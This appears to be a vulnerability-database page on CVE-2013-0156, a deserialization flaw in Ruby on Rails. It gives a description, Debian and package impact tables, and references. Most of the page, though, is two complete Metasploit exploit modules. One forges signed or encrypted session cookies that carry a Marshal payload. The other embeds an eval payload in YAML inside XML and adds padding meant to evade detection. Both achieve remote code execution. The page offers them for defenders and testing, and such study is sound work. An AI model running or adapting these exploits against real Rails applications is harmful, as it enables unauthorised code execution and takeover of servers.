CVE-2013-0156
Description
active_support/core_ext/hash/conversions.rb in Ruby on Rails before 2.3.15, 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 does not properly restrict casts of string values, which allows remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) involving nested XML entity references, by leveraging Action Pack support for (1) YAML type conversion or (2) Symbol type conversion.
Predictions
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Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Ruby on Rails - Known Secret Session Cookie Remote Code Execution (Metasploit)
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
#Helper Classes copy/paste from Rails4
class MessageVerifier
class InvalidSignature < StandardError; end
def initialize(secret, options = {})
@secret = secret
@digest = options[:digest] || 'SHA1'
@serializer = options[:serializer] || Marshal
end
def generate(value)
data = ::Base64.strict_encode64(@serializer.dump(value))
"#{data}--#{generate_digest(data)}"
end
def generate_digest(data)
require 'openssl' unless defined?(OpenSSL)
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
end
end
class MessageEncryptor
module NullSerializer #:nodoc:
def self.load(value)
value
end
def self.dump(value)
value
end
end
class InvalidMessage < StandardError; end
OpenSSLCipherError = OpenSSL::Cipher::CipherError
def initialize(secret, *signature_key_or_options)
options = signature_key_or_options.extract_options!
sign_secret = signature_key_or_options.first
@secret = secret
@sign_secret = sign_secret
@cipher = options[:cipher] || 'aes-256-cbc'
@verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)
# @serializer = options[:serializer] || Marshal
end
def encrypt_and_sign(value)
@verifier.generate(_encrypt(value))
end
def _encrypt(value)
cipher = new_cipher
cipher.encrypt
cipher.key = @secret
# Rely on OpenSSL for the initialization vector
iv = cipher.random_iv
#encrypted_data = cipher.update(@serializer.dump(value))
encrypted_data = cipher.update(value)
encrypted_data << cipher.final
[encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
end
def new_cipher
OpenSSL::Cipher::Cipher.new(@cipher)
end
end
class KeyGenerator
def initialize(secret, options = {})
@secret = secret
@iterations = options[:iterations] || 2**16
end
def generate_key(salt, key_size=64)
OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
end
end
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails Known Secret Session Cookie Remote Code Execution',
'Description' => %q{
This module implements Remote Command Execution on Ruby on Rails applications.
Prerequisite is knowledge of the "secret_token" (Rails 2/3) or "secret_key_base"
(Rails 4). The values for those can be usually found in the file
"RAILS_ROOT/config/initializers/secret_token.rb". The module achieves RCE by
deserialization of a crafted Ruby Object.
},
'Author' =>
[
'joernchen of Phenoelit <joernchen[at]phenoelit.de>',
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://charlie.bz/blog/rails-3.2.10-remote-code-execution'], #Initial exploit vector was taken from here
['URL', 'http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/']
],
'DisclosureDate' => 'Apr 11 2013',
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptInt.new('RAILSVERSION', [ true, 'The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)', 3]),
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "GET"]),
OptString.new('SECRET', [ true, 'The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)', nil]),
OptString.new('COOKIE_NAME', [ false, 'The name of the session cookie',nil]),
OptString.new('DIGEST_NAME', [ true, 'The digest type used to HMAC the session cookie','SHA1']),
OptString.new('SALTENC', [ true, 'The encrypted cookie salt', 'encrypted cookie']),
OptString.new('SALTSIG', [ true, 'The signed encrypted cookie salt', 'signed encrypted cookie']),
OptBool.new('VALIDATE_COOKIE', [ false, 'Only send the payload if the session cookie is validated', true]),
], self.class)
end
#
# This stub ensures that the payload runs outside of the Rails process
# Otherwise, the session can be killed on timeout
#
def detached_payload_stub(code)
%Q^
code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen("ruby", "wb") rescue nil
if inp
inp.write(code)
inp.close
end
else
Kernel.fork do
eval(code)
end
end
{}
^.strip.split(/\n/).map{|line| line.strip}.join("\n")
end
def check_secret(data, digest)
data = Rex::Text.uri_decode(data)
if datastore['RAILSVERSION'] == 3
sigkey = datastore['SECRET']
elsif datastore['RAILSVERSION'] == 4
keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000})
sigkey = keygen.generate_key(datastore['SALTSIG'])
end
digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(datastore['DIGEST_NAME']), sigkey, data)
end
def rails_4
keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000})
enckey = keygen.generate_key(datastore['SALTENC'])
sigkey = keygen.generate_key(datastore['SALTSIG'])
crypter = MessageEncryptor.new(enckey, sigkey)
crypter.encrypt_and_sign(build_cookie)
end
def rails_3
# Sign it with the secret_token
data = build_cookie
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"), datastore['SECRET'], data)
marshal_payload = Rex::Text.uri_encode(data)
"#{marshal_payload}--#{digest}"
end
def build_cookie
# Embed the payload with the detached stub
code =
"eval('" +
Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +
"'.unpack('m0').first)"
if datastore['RAILSVERSION'] == 4
return "\x04\b" +
"o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +
":\x0E@instanceo" +
":\bERB\x06" +
":\t@src"+ Marshal.dump(code)[2..-1] +
":\f@method:\vresult:" +
"\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"
end
if datastore['RAILSVERSION'] == 3
return Rex::Text.encode_base64 "\x04\x08" +
"o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
":\x0E@instance" +
"o"+":\x08ERB"+"\x06" +
":\x09@src" +
Marshal.dump(code)[2..-1] +
":\x0C@method"+":\x0Bresult"
end
end
#
# Send the actual request
#
def exploit
if datastore['RAILSVERSION'] == 3
cookie = rails_3
elsif datastore['RAILSVERSION'] == 4
cookie = rails_4
end
cookie_name = datastore['COOKIE_NAME']
print_status("Checking for cookie #{datastore['COOKIE_NAME']}")
res = send_request_cgi({
'uri' => datastore['TARGETURI'] || "/",
'method' => datastore['HTTP_METHOD'],
}, 25)
if res && res.headers['Set-Cookie']
match = res.headers['Set-Cookie'].match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /)
end
if match
if match[1] == datastore['COOKIE_NAME']
print_status("Found cookie, now checking for proper SECRET")
else
print_status("Adjusting cookie name to #{match[1]}")
cookie_name = match[1]
end
if check_secret(match[2],match[3])
print_good("SECRET matches! Sending exploit payload")
else
fail_with(Exploit::Failure::BadConfig, "SECRET does not match")
end
else
print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI")
if cookie_name.nil? || cookie_name.empty?
# This prevents trying to send busted cookies with no name
fail_with(Exploit::Failure::BadConfig, "No cookie found and no name given")
end
if datastore['VALIDATE_COOKIE']
fail_with(Exploit::Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway")
else
print_status("Trying to leverage default controller without cookie confirmation.")
end
end
print_status "Sending cookie #{cookie_name}"
res = send_request_cgi({
'uri' => datastore['TARGETURI'] || "/",
'method' => datastore['HTTP_METHOD'],
'headers' => {'Cookie' => cookie_name+"="+ cookie},
}, 25)
handler
end
end
Ruby on Rails - XML Processor YAML Deserialization Code Execution (Metasploit)
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails XML Processor YAML Deserialization Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in the XML request
processor of the Ruby on Rails application framework. This vulnerability allows
an attacker to instantiate a remote object, which in turn can be used to execute
any ruby code remotely in the context of the application.
This module has been tested across multiple versions of RoR 3.x and RoR 2.x
},
'Author' =>
[
'charlisome', # PoC
'espes', # PoC and Metasploit module
'lian', # Identified the RouteSet::NamedRouteCollection vector
'hdm' # Module merge/conversion/payload work
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-0156'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156']
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DisclosureDate' => 'Jan 7 2013',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])
], self.class)
register_evasion_options(
[
OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true])
], self.class)
end
#
# This stub ensures that the payload runs outside of the Rails process
# Otherwise, the session can be killed on timeout
#
def detached_payload_stub(code)
%Q^
code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen("ruby", "wb") rescue nil
if inp
inp.write(code)
inp.close
end
else
if ! Process.fork()
eval(code) rescue nil
end
end
^.strip.split(/\n/).map{|line| line.strip}.join("\n")
end
#
# Create the YAML document that will be embedded into the XML
#
def build_yaml_rails2
# Embed the payload with the detached stub
code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
yaml =
"--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
"eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " +
":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
yaml
end
#
# Create the YAML document that will be embedded into the XML
#
def build_yaml_rails3
# Embed the payload with the detached stub
code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
yaml =
"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
"eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
yaml
end
#
# Create the XML wrapper with any desired evasion
#
def build_request(v)
xml = ''
elo = Rex::Text.rand_text_alpha(rand(12)+4)
if datastore['XML::PadElement']
xml << "<#{elo}>"
1.upto(rand(1000)+50) do
el = Rex::Text.rand_text_alpha(rand(12)+4)
tp = ['string', 'integer'][ rand(2) ]
xml << "<#{el} type='#{tp}'>"
xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
xml << "</#{el}>"
end
end
el = Rex::Text.rand_text_alpha(rand(12)+4)
xml << "<#{el} type='yaml'>"
xml << (v == 2 ? build_yaml_rails2 : build_yaml_rails3)
xml << "</#{el}>"
if datastore['XML::PadElement']
1.upto(rand(1000)+50) do
el = Rex::Text.rand_text_alpha(rand(12)+4)
tp = ['string', 'integer'][ rand(2) ]
xml << "<#{el} type='#{tp}'>"
xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
xml << "</#{el}>"
end
xml << "</#{elo}>"
end
xml
end
#
# Send the actual request
#
def exploit
print_status("Sending Railsv3 request to #{rhost}:#{rport}...")
res = send_request_cgi({
'uri' => datastore['URIPATH'] || "/",
'method' => datastore['HTTP_METHOD'],
'ctype' => 'application/xml',
'data' => build_request(3)
}, 25)
handler
print_status("Sending Railsv2 request to #{rhost}:#{rport}...")
res = send_request_cgi({
'uri' => datastore['URIPATH'] || "/",
'method' => datastore['HTTP_METHOD'],
'ctype' => 'application/xml',
'data' => build_request(2)
}, 25)
handler
end
end
Metasploit modules
OS impact
Debian Mixed 7 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2.3.14.1 |
| sid | Fixed | 2.3.14.1 |
| forky | Fixed | 2.3.14.1 |
| bullseye | Fixed | 2.3.14.1 |
| bookworm | Fixed | 2.3.14.1 |
| 7.0 | Affected | โ |
| 6.0 | Affected | โ |
Package impact
| Ecosystem | Package | Vulnerable | Fixed |
|---|---|---|---|
| RubyGems | actionpack | <~> 2.3.15 | ~> 2.3.15 |
| RubyGems | actionpack | <2.3.15 | 2.3.15 |
| RubyGems | actionpack | >=3.0.0,<3.0.19 | 3.0.19 |
| RubyGems | actionpack | >=3.1.0,<3.1.10 | 3.1.10 |
| RubyGems | actionpack | >=3.2.0,<3.2.11 | 3.2.11 |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| rubyonrails | rails | {"startIncluding":"3.2.0","endExcluding":"3.2.11"} | 3.2.11 |
| rubyonrails | ruby_on_rails | {"endExcluding":"2.3.15"} | 2.3.15 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2013-0156
- http://ics-cert.us-cert.gov/advisories/ICSA-13-036-01A
- http://lists.apple.com/archives/security-announce/2013/Mar/msg00002.html
- http://rhn.redhat.com/errata/RHSA-2013-0153.html
- http://rhn.redhat.com/errata/RHSA-2013-0154.html
- http://rhn.redhat.com/errata/RHSA-2013-0155.html
- http://weblog.rubyonrails.org/2013/1/28/Rails-3-0-20-and-2-3-16-have-been-released/
- http://www.debian.org/security/2013/dsa-2604
- http://www.fujitsu.com/global/support/software/security/products-f/sw-sv-rcve-ror201301e.html
- http://www.insinuator.net/2013/01/rails-yaml/
- http://www.kb.cert.org/vuls/id/380039
- http://www.kb.cert.org/vuls/id/628463
- https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156
- https://groups.google.com/group/rubyonrails-security/msg/c1432d0f8c70e89d?dmode=source&output=gplain
- https://puppet.com/security/cve/cve-2013-0156
- https://github.com/rails/rails
- https://web.archive.org/web/20140111025708/http://lists.apple.com/archives/security-announce/2013/Mar/msg00002.html
- https://web.archive.org/web/20160415043747/https://ics-cert.us-cert.gov/advisories/ICSA-13-036-01A
- https://web.archive.org/web/20160806154149/https://puppet.com/security/cve/cve-2013-0156
- http://weblog.rubyonrails.org/2013/1/28/Rails-3-0-20-and-2-3-16-have-been-released
- http://www.insinuator.net/2013/01/rails-yaml
- https://security-tracker.debian.org/tracker/CVE-2013-0156
CWEs
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